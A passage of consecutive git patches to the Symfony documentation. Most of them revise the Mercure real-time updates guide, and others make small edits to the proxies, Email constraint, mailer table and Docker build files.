-the default values are compatible with the provided Hub
-and you can skip straight to the next section.
+If you use the Symfony Local Web Server, Symfony Docker or the API Platform distribution,
+the Symfony app is automatically configured and you can skip straight to the next section.
 
 Otherwise, set the URL of your hub as the value of the ``MERCURE_URL``
 and ``MERCURE_PUBLIC_URL`` env vars.
@@ -139,6 +142,49 @@ public updates (see the authorization_ section for further information).
 
     Also, be sure to keep both the secret key and the JWTs... secrets!
 
+If you don't want to use the provided environment variables,
+use the following configuration:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/mercure.yaml
+        mercure:
+            hubs:
+                default:
+                    url: https://mercure-hub.example.com/.well-known/mercure
+                    jwt:
+                        secret: '!ChangeMe!'
+
+    .. code-block:: xml
+
+        <!-- config/packages/mercure.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <config>
+            <hub
+                name="default"
+                url="https://mercure-hub.example.com/.well-known/mercure"
+            >
+                <jwt secret="!ChangeMe!"/>
+            </hub>
+        </config>
+
+    .. code-block:: php
+
+        // config/packages/mercure.php
+        $container->loadFromExtension('mercure', [
+            'hubs' => [
+                'default' => [
+                    'url' => 'https://mercure-hub.example.com/.well-known/mercure',
+                    'jwt' => [
+                        'secret' => '!ChangeMe!',
+                    ],
+                ],
+            ],
+        ]);
+
+
 Basic Usage
 -----------
 
@@ -166,7 +212,7 @@ service, including controllers::
         public function publish(HubInterface $hub): Response
         {
             $update = new Update(
-                'http://example.com/books/1',
+                'https://example.com/books/1',
                 json_encode(['status' => 'OutOfStock'])
             );
 
@@ -193,34 +239,53 @@ Atom, HTML or XML is recommended.
 Subscribing
 ~~~~~~~~~~~
 
-Subscribing to updates in JavaScript is straightforward:
+Subscribing to updates in JavaScript from a Twig template is straightforward:
 
-.. code-block:: javascript
+.. code-block:: twig
 
-    const eventSource = new EventSource('/.well-known/mercure?topic=' + encodeURIComponent('http://example.com/books/1'));
+    <script>
+    const eventSource = new EventSource("{{ mercure('https://example.com/books/1')|escape('js') }}");
     eventSource.onmessage = event => {
         // Will be called every time an update is published by the server
         console.log(JSON.parse(event.data));
     }
+    <script>
+
+The ``mercure()`` Twig function will generate the URL of the Mercure hub according to the configuration.
+The URL will include the ``topic`` query parameters corresponding to the topics passed as first argument.
+
+If you want to access to this URL from an external JavaScript file, generate the URL in a dedicated HTML element:
+
+.. code:: twig
+
+    <script type="application/json" id="mercure-url">{{ mercure('https://example.com/books/1')|json_encode(constant('JSON_UNESCAPED_SLASHES') b-or constant('JSON_HEX_TAG'))|raw }}</script>
+
+Then retrieve it from your JS file:
+
+.. code:: javascript
+
+    const url = JSON.parse(document.getElementById("mercure-url").textContent);
+    const eventSource = new EventSource(url);
+    // ...
 
-Mercure also allows to subscribe to several topics,
+Mercure also allows subscribing to several topics,
 and to use URI Templates or the special value ``*`` (matched by all topics)
 as patterns:
 
-.. code-block:: javascript
+.. code-block:: twig
 
-    // URL is a built-in JavaScript class to manipulate URLs
-    const url = new URL('/.well-known/mercure', window.origin);
-    url.searchParams.append('topic', 'http://example.com/books/1');
-    // Subscribe to updates of several Book resources
-    url.searchParams.append('topic', 'http://example.com/books/2');
-    // All Review resources will match this pattern
-    url.searchParams.append('topic', 'http://example.com/reviews/{id}');
+    <script>
+    {# Subscribe to updates of several Book resources and to all Review resources matching the given pattern #}
+    const eventSource = new EventSource("{{ mercure([
+        'https://example.com/books/1',
+        'https://example.com/books/2',
+        'https://example.com/reviews/{id}'
+    ])|escape('js') }}");
 
-    const eventSource = new EventSource(url);
     eventSource.onmessage = event => {
         console.log(JSON.parse(event.data));
     }
+    </script>
 
 .. tip::
 
@@ -287,7 +352,7 @@ and to subscribe to it:
 
             // Append the topic(s) to subscribe as query parameter
             const hub = new URL(hubUrl, window.origin);
-            hub.searchParams.append('topic', 'http://example.com/books/{id}');
+            hub.searchParams.append('topic', 'https://example.com/books/{id}');
 
             // Subscribe to updates
             const eventSource = new EventSource(hub);
@@ -297,7 +362,7 @@ and to subscribe to it:
 Authorization
 -------------
 
-Mercure also allows to dispatch updates only to authorized clients.
+Mercure also allows dispatching updates only to authorized clients.
 To do so, mark the update as **private** by setting the third parameter
 of the ``Update`` constructor to ``true``::
 
@@ -313,7 +378,7 @@ of the ``Update`` constructor to ``true``::
         public function publish(HubInterface $hub): Response
         {
             $update = new Update(
-                'http://example.com/books/1',
+                'https://example.com/books/1',
                 json_encode(['status' => 'OutOfStock']),
                 true // private
             );
@@ -332,78 +397,59 @@ a JWT containing a topic selector matching by the update's topic.
 To provide this JWT, the subscriber can use a cookie,
 or a ``Authorization`` HTTP header.
 
-Cookies are automatically sent by the browsers when opening an ``EventSource``
-connection if the ``withCredentials`` attribute is set to ``true``:
+Cookies can be set automatically by Symfony by passing the appropriate options to the ``mercure()`` Twig function.
+Cookies set by Symfony will be automatically passed by the browsers to the Mercure hub
+if the ``withCredentials`` attribute of the ``EventSource`` class is set to ``true``.
+Then, the Hub will verify the validity of the provided JWT, and extract the topic selectors
+from it.
 
-.. code-block:: javascript
+.. code-block:: twig
 
-    const eventSource = new EventSource(hub, {
+    <script>
+    const eventSource = new EventSource("{{ mercure('https://example.com/books/1', { subscribe: 'https://example.com/books/1' })|escape('js') }}", {
         withCredentials: true
     });
+    </script>
+
+The supported options are:
+
+* ``subscribe``:  the list of topic selectors to include in the ``mercure.subscribe`` claim of the JWT
+* ``publish``:  the list of topic selectors to include in the ``mercure.publish`` claim of the JWT
+* ``additionalClaims``: extra claims to include in the JWT (expiration date, token ID...)
 
 Using cookies is the most secure and preferred way when the client is a web
 browser. If the client is not a web browser, then using an authorization header
 is the way to go.
 
+.. caution::
+
+    To use the cookie authentication method, the Symfony app and the Hub
+    must be served from the same domain (can be different sub-domains).
+
 .. tip::
 
     The native implementation of EventSource doesn't allow specifying headers.
     For example, authorization using Bearer token. In order to achieve that, use `a polyfill`_
 
-    .. code-block:: javascript
+    .. code-block:: twig
 
-        const es = new EventSourcePolyfill(url, {
+        <script>
+        const es = new EventSourcePolyfill("{{ mercure('https://example.com/books/1') }}", {
             headers: {
                 'Authorization': 'Bearer ' + token,
             }
         });
+        </script>
 
-In the following example controller,
-the generated cookie contains a JWT, itself containing the appropriate topic selector.
-This cookie will be automatically sent by the web browser when connecting to the Hub.
-Then, the Hub will verify the validity of the provided JWT, and extract the topic selectors
-from it.
-
-Add your JWT secret to the configuration as follow:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/mercure.yaml
-        mercure:
-            hubs:
-                default:
-                    url: https://mercure-hub.example.com/.well-known/mercure
-                    jwt:
-                        secret: '!ChangeMe!'
-
-    .. code-block:: xml
-
-        <!-- config/packages/mercure.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <config>
-            <hub
-                name="default"
-                url="https://mercure-hub.example.com/.well-known/mercure"
-            >
-                <jwt secret="!ChangeMe!"/>
-            </hub>
-        </config>
+Programmatically Setting The Cookie
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-    .. code-block:: php
+Sometimes, it can be convenient to set the authorization cookie from
+your code instead of using the Twig function.
+MercureBundle provides a convenient service, :class:`Symfony\\Component\\Mercure\\Authorization`, to do so.
 
-        // config/packages/mercure.php
-        $container->loadFromExtension('mercure', [
-            'hubs' => [
-                'default' => [
-                    'url' => 'https://mercure-hub.example.com/.well-known/mercure',
-                    'jwt' => [
-                        'secret' => '!ChangeMe!',
-                    ],
-                ],
-            ],
-        ]);
+In the following example controller,
+the added cookie contains a JWT, itself containing the appropriate topic selector.
 
 And here is the controller::
 
@@ -411,36 +457,25 @@ And here is the controller::
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-    use Symfony\Component\HttpFoundation\Cookie;
+    use Symfony\Component\HttpFoundation\JsonResponse;
     use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Mercure\Authorization;
     use Symfony\Component\Mercure\Discovery;
 
     class DiscoverController extends AbstractController
     {
-        public function publish(Request $request, Discovery $discovery, Authorization $authorization): Response
+        public function publish(Request $request, Discovery $discovery, Authorization $authorization): JsonResponse
         {
             $discovery->addLink($request);
+            $authorization->setCookie($request, ['https://example.com/books/1']);
 
-            $response = new JsonResponse([
+            return $this->json([
                 '@id' => '/demo/books/1',
                 'availability' => 'https://schema.org/InStock'
             ]);
-
-            $response->headers->setCookie(
-                $authorization->createCookie($request,  ["http://example.com/books/1"])
-            );
-
-            return $response;
         }
     }
 
-.. caution::
-
-    To use the cookie authentication method, the Symfony app and the Hub
-    must be served from the same domain (can be different sub-domains).
-
 Programmatically Generating The JWT Used to Publish
 ---------------------------------------------------
 
@@ -532,22 +567,16 @@ hypermedia API, and automatic update broadcasting through the Mercure hub::
     use ApiPlatform\Core\Annotation\ApiResource;
     use Doctrine\ORM\Mapping as ORM;
 
-    /**
-    * @ApiResource(mercure=true)
-    * @ORM\Entity
-    */
+    #[ApiResource(mercure: true)]
+    #[ORM\Entity]
     class Book
     {
-        /**
-         * @ORM\Id
-         * @ORM\Column
-         */
-        public $name;
-
-        /**
-         * @ORM\Column
-         */
-        public $status;
+        #[ORM\Id]
+        #[ORM\Column]
+        public string $name = '';
+
+        #[ORM\Column]
+        public string $status = '';
     }
 
 As showcased `in this recording`_, the API Platform Client Generator also
@@ -629,34 +658,12 @@ Debugging
 
 Enable the panel in your configuration, as follows:
 
-.. configuration-block::
-
-    .. code-block:: yaml
+MercureBundle is shipped with a debug panel. Install the Debug pack to
+enable it::
 
-        # config/packages/mercure.yaml
-        mercure:
-            enable_profiler: '%kernel.debug%'
-
-    .. code-block:: xml
-
-        <!-- config/packages/mercure.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <mercure:config enable_profiler="%kernel.debug%"/>
-
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/mercure.php
-        $container->loadFromExtension('mercure', [
-            'enable_profiler' => '%kernel.debug%',
-        ]);
+.. code-block:: terminal
 
+    $ composer require --dev symfony/debug-pack
 
 .. image:: /_images/mercure/panel.png
 
@@ -693,7 +700,7 @@ it will be handled automatically::
         public function publish(MessageBusInterface $bus): Response
         {
             $update = new Update(
-                'http://example.com/books/1',
+                'https://example.com/books/1',
                 json_encode(['status' => 'OutOfStock'])
             );
 
@@ -704,6 +711,12 @@ it will be handled automatically::
         }
     }
 
+Going further
+-------------
+
+* The Mercure protocol is also supported by :doc:`the Notifier component </notifier>`. Use it to send push notifications to web browsers.
+* `Symfony UX Turbo`_ is a library using Mercure to provide the same experience as with Single Page Applications but without having to write a single line of JavaScript!
+
 
 .. _`the Mercure protocol`: https://mercure.rocks/spec
 .. _`Server-Sent Events (SSE)`: https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events
@@ -720,3 +733,4 @@ it will be handled automatically::
 .. _`the dedicated API Platform documentation`: https://api-platform.com/docs/core/mercure/
 .. _`the online debugger`: https://uri-template-tester.mercure.rocks
 .. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket
+.. _`Symfony UX Turbo`: https://github.com/symfony/ux-turbo
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index aa23a26a61e..4ac94fd857f 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -275,6 +275,8 @@ server provides a ``run`` command to wrap them as follows:
     # stop the web server (and all the associated commands) when you are finished
     $ symfony server:stop
 
+.. _symfony-server-docker:
+
 Docker Integration
 ------------------
 

From 4479c32a4eb60e4012b11db1ee34f80cc4fc3c14 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 14 Oct 2021 16:41:32 +0200
Subject: [PATCH 1238/5766] Tweaks

---
 mercure.rst | 65 ++++++++++++++++++++++++++++-------------------------
 1 file changed, 35 insertions(+), 30 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 72ce65145e5..e9d9f163692 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -57,16 +57,17 @@ can be downloaded as a static binary from `Mercure.rocks`_.
 A Docker image, a Helm chart for Kubernetes
 and a managed, High Availability Hub are also provided.
 
-If you use `Symfony Docker`_ or the `API Platform distribution`_,
-a Mercure Hub is automatically installed and your Symfony application
-is automatically configured to use it.
-You can jump directly to the next section.
+If you use `Symfony Docker`_ or the `API Platform distribution`_, a Mercure Hub
+is automatically installed and your Symfony application is automatically
+configured to use it. You can jump directly to the next section.
 
 If you use the :doc:`Symfony Local Web Server </setup/symfony_server>`,
-a Mercure hub will be automatically available as a Docker service thanks to its :ref:`Docker integration <symfony-server-docker>.
+a Mercure hub will be automatically available as a Docker service thanks to its
+:ref:`Docker integration <symfony-server-docker>.
 
-Be sure that recent versions of Docker and Docker Compose are properly installed on your computer
-and to start the Symfony Local Web Server with the ``--no-tls`` option:
+Be sure that recent versions of Docker and Docker Compose are properly installed
+on your computer and to start the Symfony Local Web Server with the ``--no-tls``
+option:
 
 .. code-block:: terminal
 
@@ -81,9 +82,9 @@ Run this command to install the Mercure support before using it:
 
     $ composer require mercure
 
-:ref:`Symfony Flex <symfony-flex>` has automatically installed and configured MercureBundle.
-It also created (if needed) and configured a Docker Compose definition that provides a Mercure service.
-Run ``docker-compose up`` to start it.
+:ref:`Symfony Flex <symfony-flex>` has automatically installed and configured
+MercureBundle. It also created (if needed) and configured a Docker Compose
+definition that provides a Mercure service. Run ``docker-compose up`` to start it.
 
 Configuration
 -------------
@@ -94,8 +95,9 @@ The preferred way to configure the MercureBundle is using
 When MercureBundle has been installed, the ``.env`` file of your project
 has been updated by the Flex recipe to include the available env vars.
 
-If you use the Symfony Local Web Server, Symfony Docker or the API Platform distribution,
-the Symfony app is automatically configured and you can skip straight to the next section.
+If you use the Symfony Local Web Server, Symfony Docker or the API Platform
+distribution, the Symfony app is automatically configured and you can skip
+straight to the next section.
 
 Otherwise, set the URL of your hub as the value of the ``MERCURE_URL``
 and ``MERCURE_PUBLIC_URL`` env vars.
@@ -251,10 +253,12 @@ Subscribing to updates in JavaScript from a Twig template is straightforward:
     }
     <script>
 
-The ``mercure()`` Twig function will generate the URL of the Mercure hub according to the configuration.
-The URL will include the ``topic`` query parameters corresponding to the topics passed as first argument.
+The ``mercure()`` Twig function will generate the URL of the Mercure hub
+according to the configuration. The URL will include the ``topic`` query
+parameters corresponding to the topics passed as first argument.
 
-If you want to access to this URL from an external JavaScript file, generate the URL in a dedicated HTML element:
+If you want to access to this URL from an external JavaScript file, generate the
+URL in a dedicated HTML element:
 
 .. code:: twig
 
@@ -397,11 +401,11 @@ a JWT containing a topic selector matching by the update's topic.
 To provide this JWT, the subscriber can use a cookie,
 or a ``Authorization`` HTTP header.
 
-Cookies can be set automatically by Symfony by passing the appropriate options to the ``mercure()`` Twig function.
-Cookies set by Symfony will be automatically passed by the browsers to the Mercure hub
-if the ``withCredentials`` attribute of the ``EventSource`` class is set to ``true``.
-Then, the Hub will verify the validity of the provided JWT, and extract the topic selectors
-from it.
+Cookies can be set automatically by Symfony by passing the appropriate options
+to the ``mercure()`` Twig function. Cookies set by Symfony will be automatically
+passed by the browsers to the Mercure hub if the ``withCredentials`` attribute
+of the ``EventSource`` class is set to ``true``. Then, the Hub will verify the
+validity of the provided JWT, and extract the topic selectors from it.
 
 .. code-block:: twig
 
@@ -413,8 +417,8 @@ from it.
 
 The supported options are:
 
-* ``subscribe``:  the list of topic selectors to include in the ``mercure.subscribe`` claim of the JWT
-* ``publish``:  the list of topic selectors to include in the ``mercure.publish`` claim of the JWT
+* ``subscribe``: the list of topic selectors to include in the ``mercure.subscribe`` claim of the JWT
+* ``publish``: the list of topic selectors to include in the ``mercure.publish`` claim of the JWT
 * ``additionalClaims``: extra claims to include in the JWT (expiration date, token ID...)
 
 Using cookies is the most secure and preferred way when the client is a web
@@ -444,12 +448,12 @@ is the way to go.
 Programmatically Setting The Cookie
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Sometimes, it can be convenient to set the authorization cookie from
-your code instead of using the Twig function.
-MercureBundle provides a convenient service, :class:`Symfony\\Component\\Mercure\\Authorization`, to do so.
+Sometimes, it can be convenient to set the authorization cookie from your code
+instead of using the Twig function. MercureBundle provides a convenient service,
+:class:`Symfony\\Component\\Mercure\\Authorization`, to do so.
 
-In the following example controller,
-the added cookie contains a JWT, itself containing the appropriate topic selector.
+In the following example controller, the added cookie contains a JWT, itself
+containing the appropriate topic selector.
 
 And here is the controller::
 
@@ -714,9 +718,10 @@ it will be handled automatically::
 Going further
 -------------
 
-* The Mercure protocol is also supported by :doc:`the Notifier component </notifier>`. Use it to send push notifications to web browsers.
-* `Symfony UX Turbo`_ is a library using Mercure to provide the same experience as with Single Page Applications but without having to write a single line of JavaScript!
-
+* The Mercure protocol is also supported by :doc:`the Notifier component </notifier>`.
+  Use it to send push notifications to web browsers.
+* `Symfony UX Turbo`_ is a library using Mercure to provide the same experience
+  as with Single Page Applications but without having to write a single line of JavaScript!
 
 .. _`the Mercure protocol`: https://mercure.rocks/spec
 .. _`Server-Sent Events (SSE)`: https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events

From c670141b7364605d66fbc8248c974b7351e33370 Mon Sep 17 00:00:00 2001
From: JohJohan <johan.vlaar.1994@gmail.com>
Date: Sun, 10 Oct 2021 20:49:29 +0200
Subject: [PATCH 1239/5766] 14114 [HttpFoundation] header option
 'X-Forwarded-Prefix'

---
 deployment/proxies.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 62d5c182c1e..5b12fb5e946 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -34,7 +34,7 @@ and what headers your reverse proxy uses to send information:
             # the IP address (or range) of your proxy
             trusted_proxies: '192.0.0.1,10.0.0.0/8'
             # trust *all* "X-Forwarded-*" headers
-            trusted_headers: ['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port']
+            trusted_headers: ['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port', 'x-forwarded-prefix']
             # or, if your proxy instead uses the "Forwarded" header
             trusted_headers: ['forwarded']
 
@@ -59,6 +59,7 @@ and what headers your reverse proxy uses to send information:
                 <framework:trusted-header>x-forwarded-host</framework:trusted-header>
                 <framework:trusted-header>x-forwarded-proto</framework:trusted-header>
                 <framework:trusted-header>x-forwarded-port</framework:trusted-header>
+                <framework:trusted-header>x-forwarded-prefix</framework:trusted-header>
 
                 <!-- or, if your proxy instead uses the "Forwarded" header -->
                 <framework:trusted-header>forwarded</framework:trusted-header>
@@ -75,7 +76,7 @@ and what headers your reverse proxy uses to send information:
                 // the IP address (or range) of your proxy
                 ->trustedProxies('192.0.0.1,10.0.0.0/8')
                 // trust *all* "X-Forwarded-*" headers (the ! prefix means to not trust those headers)
-                ->trustedHeaders(['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port'])
+                ->trustedHeaders(['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port', 'x-forwarded-prefix'])
                 // or, if your proxy instead uses the "Forwarded" header
                 ->trustedHeaders(['forwarded'])
             ;

From 07f4a8f6e0fe2c0b77df2cc64f0ba751134f4cbe Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 26 Sep 2021 14:18:35 +0200
Subject: [PATCH 1240/5766] Shortening "mode"

---
 reference/constraints/Email.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 771c9bcff64..0ac07621537 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -130,17 +130,17 @@ Parameter        Description
 
 **type**: ``string`` **default**: (see below)
 
-This option is optional and defines the pattern used to validate the email
+This option defines the pattern used to validate the email
 address. Valid values are:
 
-* ``loose``, it uses a simple regular expression to validate the address (it
+* ``loose`` uses a simple regular expression (just
   checks that at least one ``@`` character is present, etc.). This validation is
-  too simple and it's recommended to use one of the other modes instead;
-* ``html5``, it validates email addresses using the same regular expression
+  very simple and it's recommended to use one of the other modes instead;
+* ``html5`` uses the same regular expression
   as the `HTML5 email input element`_, making the backend validation consistent
   with the one provided by browsers;
-* ``strict``, it uses the `egulias/email-validator`_ library (which you must
-  install separately) to validate the addresses according to the `RFC 5322`_.
+* ``strict`` uses the `egulias/email-validator`_ library (which you must
+  install separately) for validation according to `RFC 5322`_.
 
 The default value used by this option is set in the
 :ref:`framework.validation.email_validation_mode <reference-validation-email_validation_mode>`

From f6d7e690b41f68ea6414dd07f0b34967edc88ed3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 14 Oct 2021 17:42:24 +0200
Subject: [PATCH 1241/5766] Tweaks

---
 reference/constraints/Email.rst | 16 +++++++---------
 1 file changed, 7 insertions(+), 9 deletions(-)

diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 0ac07621537..386b35240ab 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -130,15 +130,13 @@ Parameter        Description
 
 **type**: ``string`` **default**: (see below)
 
-This option defines the pattern used to validate the email
-address. Valid values are:
-
-* ``loose`` uses a simple regular expression (just
-  checks that at least one ``@`` character is present, etc.). This validation is
-  very simple and it's recommended to use one of the other modes instead;
-* ``html5`` uses the same regular expression
-  as the `HTML5 email input element`_, making the backend validation consistent
-  with the one provided by browsers;
+This option defines the pattern used to validate the email address. Valid values are:
+
+* ``loose`` uses a simple regular expression (just checks that at least one ``@``
+  character is present, etc.). This validation is too simple and it's recommended
+  to use one of the other modes instead;
+* ``html5`` uses the same regular expression as the `HTML5 email input element`_,
+  making the backend validation consistent with the one provided by browsers;
 * ``strict`` uses the `egulias/email-validator`_ library (which you must
   install separately) for validation according to `RFC 5322`_.
 

From 5adcbcb6ea65f388e721bd36fb55c4e9335c89d8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 15 Oct 2021 16:12:21 +0200
Subject: [PATCH 1242/5766] Fix RST syntax of some tables

---
 mailer.rst        | 14 +++++++-------
 messenger.rst     |  4 ++--
 page_creation.rst |  4 ++--
 3 files changed, 11 insertions(+), 11 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 57c4b5f30ce..807d5739b72 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -144,14 +144,14 @@ This table shows the full list of available DSN formats for each third
 party provider:
 
 ==================== ========================================== =========================================== ========================================
- Provider             SMTP                                       HTTP                                        API
+Provider             SMTP                                       HTTP                                        API
 ==================== ========================================== =========================================== ========================================
- Amazon SES           ses+smtp://USERNAME:PASSWORD@default       ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
- Google Gmail         gmail+smtp://USERNAME:PASSWORD@default     n/a                                         n/a
- Mailchimp Mandrill   mandrill+smtp://USERNAME:PASSWORD@default  mandrill+https://KEY@default                mandrill+api://KEY@default
- Mailgun              mailgun+smtp://USERNAME:PASSWORD@default   mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
- Postmark             postmark+smtp://ID@default                 n/a                                         postmark+api://KEY@default
- Sendgrid             sendgrid+smtp://KEY@default                n/a                                         sendgrid+api://KEY@default
+Amazon SES           ses+smtp://USERNAME:PASSWORD@default       ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
+Google Gmail         gmail+smtp://USERNAME:PASSWORD@default     n/a                                         n/a
+Mailchimp Mandrill   mandrill+smtp://USERNAME:PASSWORD@default  mandrill+https://KEY@default                mandrill+api://KEY@default
+Mailgun              mailgun+smtp://USERNAME:PASSWORD@default   mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
+Postmark             postmark+smtp://ID@default                 n/a                                         postmark+api://KEY@default
+Sendgrid             sendgrid+smtp://KEY@default                n/a                                         sendgrid+api://KEY@default
 ==================== ========================================== =========================================== ========================================
 
 .. caution::
diff --git a/messenger.rst b/messenger.rst
index d726ace082b..e54a1b56f10 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1017,7 +1017,7 @@ The transport has a number of options:
 Options defined under ``options`` take precedence over ones defined in the DSN.
 
 ==================  =====================================  ======================
-     Option         Description                            Default
+Option              Description                            Default
 ==================  =====================================  ======================
 table_name          Name of the table                      messenger_messages
 queue_name          Name of the queue (a column in the     default
@@ -1066,7 +1066,7 @@ A number of options can be configured via the DSN or via the ``options`` key
 under the transport in ``messenger.yaml``:
 
 ==================  =====================================  =========================
-     Option               Description                      Default
+Option              Description                            Default
 ==================  =====================================  =========================
 stream              The Redis stream name                  messages
 group               The Redis consumer group name          symfony
diff --git a/page_creation.rst b/page_creation.rst
index 0ef60ebfb4e..6f818894e5e 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -166,9 +166,9 @@ To get a list of *all* of the routes in your system, use the ``debug:router`` co
 You should see your ``app_lucky_number`` route in the list:
 
 ================== ======== ======== ====== ===============
- Name               Method   Scheme   Host   Path
+Name               Method   Scheme   Host   Path
 ================== ======== ======== ====== ===============
- app_lucky_number   ANY      ANY      ANY    /lucky/number
+app_lucky_number   ANY      ANY      ANY    /lucky/number
 ================== ======== ======== ====== ===============
 
 You will also see debugging routes besides ``app_lucky_number`` -- more on

From e5819d2502a797c5253dadac6e18445cd2a2798b Mon Sep 17 00:00:00 2001
From: Sabrus <sabruss@users.noreply.github.com>
Date: Fri, 15 Oct 2021 05:33:38 +0200
Subject: [PATCH 1243/5766] typo in security.rst

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 1e6a5ab98e2..e1e1b106656 100644
--- a/security.rst
+++ b/security.rst
@@ -981,7 +981,7 @@ Enable the authenticator using the ``json_login`` setting:
                 main:
                     # ...
                     json_login:
-                        # app_login is a route we will create below
+                        # api_login is a route we will create below
                         check_path: api_login
 
     .. code-block:: xml

From fe79e4993c985c66b27683bf2a62572798b88d4e Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 18 Oct 2021 15:55:33 +0200
Subject: [PATCH 1244/5766] Deleting npm from yarn code block

`npm install react` looks totally out of place here, isn't it?
---
 frontend/encore/simple-example.rst | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index d447ade4b29..da99febb9b6 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -70,9 +70,6 @@ To build the assets, run the following if you use the Yarn package manager:
     # on deploy, create a production build
     $ yarn encore production
 
-    # if you use the npm package manager
-    $ npm install react react-dom prop-types --save
-
 If you use the npm package manager, run the following commands instead:
 
 .. code-block:: terminal

From e6ef3614f3d1488a0afe9608af3d163da3bc8201 Mon Sep 17 00:00:00 2001
From: Hidde Wieringa <hidde@hiddewieringa.nl>
Date: Mon, 18 Oct 2021 21:13:09 +0200
Subject: [PATCH 1245/5766] Contributing guidelines: make version reference
 older than current maintained version

---
 contributing/documentation/overview.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index 460f1b62589..6213c569289 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -121,7 +121,7 @@ branch of the ``upstream`` remote, which is the original Symfony Docs repository
 Fixes should always be based on the **oldest maintained branch** which contains
 the error. Nowadays this is the ``4.4`` branch. If you are instead documenting a
 new feature, switch to the first Symfony version that included it, e.g.
-``upstream/3.1``.
+``upstream/5.4``.
 
 **Step 5.** Now make your changes in the documentation. Add, tweak, reword and
 even remove any content and do your best to comply with the

From 8dd11f1e032cf431408ce18a2952d50fcabe00f3 Mon Sep 17 00:00:00 2001
From: Hidde Wieringa <hidde@hiddewieringa.nl>
Date: Mon, 18 Oct 2021 21:57:43 +0200
Subject: [PATCH 1246/5766] Local development Docker improvements

---
 .dockerignore |  8 ++++++++
 Dockerfile    | 10 +++++++---
 2 files changed, 15 insertions(+), 3 deletions(-)
 create mode 100644 .dockerignore

diff --git a/.dockerignore b/.dockerignore
new file mode 100644
index 00000000000..7d3ce5c0c44
--- /dev/null
+++ b/.dockerignore
@@ -0,0 +1,8 @@
+/.git
+/_build/doctrees
+/_build/spelling
+/_build/html
+/_build/logs.txt
+/_build/vendor
+/_build/output
+*.pyc
diff --git a/Dockerfile b/Dockerfile
index c1e63debe91..3995b8ff70a 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,16 +1,20 @@
-FROM  python:2-stretch as builder
+FROM python:2-alpine as builder
 
 WORKDIR /www
 
 COPY ./_build/.requirements.txt _build/
 
-RUN pip install  pip==9.0.1 wheel==0.29.0 \
+RUN apk add \
+    git \
+    make
+
+RUN pip install pip==9.0.1 wheel==0.29.0 \
     && pip install -r _build/.requirements.txt
 
 COPY . /www
 
 RUN make -C _build html
 
-FROM  nginx:latest
+FROM nginx:alpine
 
 COPY --from=builder /www/_build/html /usr/share/nginx/html

From c41db2f66e2b6b98cfb554d69a114bc3b5ad63d6 Mon Sep 17 00:00:00 2001
From: Hidde Wieringa <hidde@hiddewieringa.nl>
Date: Mon, 18 Oct 2021 21:31:08 +0200
